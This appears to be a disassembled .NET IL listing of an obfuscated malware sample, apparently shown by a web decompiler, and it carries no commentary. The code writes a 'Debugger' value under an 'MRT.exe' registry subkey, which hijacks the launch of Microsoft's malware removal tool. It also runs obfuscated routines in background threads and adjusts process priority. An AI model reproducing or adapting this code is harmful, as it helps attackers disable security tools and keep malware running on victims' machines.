callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_17
ldloc.s V_17
ldnull <null>
ldstr CreateSubKey
ldc.i4.1 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr MRT.exe
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr SetValue
ldc.i4.3 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Debugger
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
ldloc.s V_16
stelem.ref <null>
ldloc.s V_20
ldc.i4.2 <null>
ldc.i4.1 <null>
box Microsoft.Win32.RegistryValueKind
stelem.ref <null>
ldloc.s V_20
stloc.s V_22
ldloc.s V_22
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
newarr System.Boolean
stloc.s V_23
ldloc.s V_23
ldc.i4.0 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_23
ldc.i4.1 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_23
ldc.i4.2 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_23
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_23
ldc.i4.1 <null>
ldelem.i1 <null>
brfalse.s IL_05AA: ldloc.s V_18
ldloc.s V_22
ldc.i4.1 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_16
ldloc.s V_18
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_17
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
leave.s IL_05E8: call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05E8: call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
call System.Void STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::4lZLQk3rM==()
ldnull <null>
ldftn System.Void STB.ptL==::kpbbr8W4edx11oQQnn85CimR13hLw4uZ+yNqh+T7/xm70TZIz7YAZB2B==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_0620: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 256
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
call System.Void STB.AQqY39anmrCUMDHOyp4z2w10m5DDMVXxEf9u9a==::DIF6Xu8sXI+NWl+erzcCt/3RraKjXh38QH161HXZJtcUPs==()
br.s IL_062F: ldnull
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 128
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
ldnull <null>
ldftn System.Void STB.ptL==::Jl0==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldnull <null>
ldftn System.Void STB.ptL==::KImvY3DbmvpUA6Q7qchdZX0fu/8==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.3 <null>
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙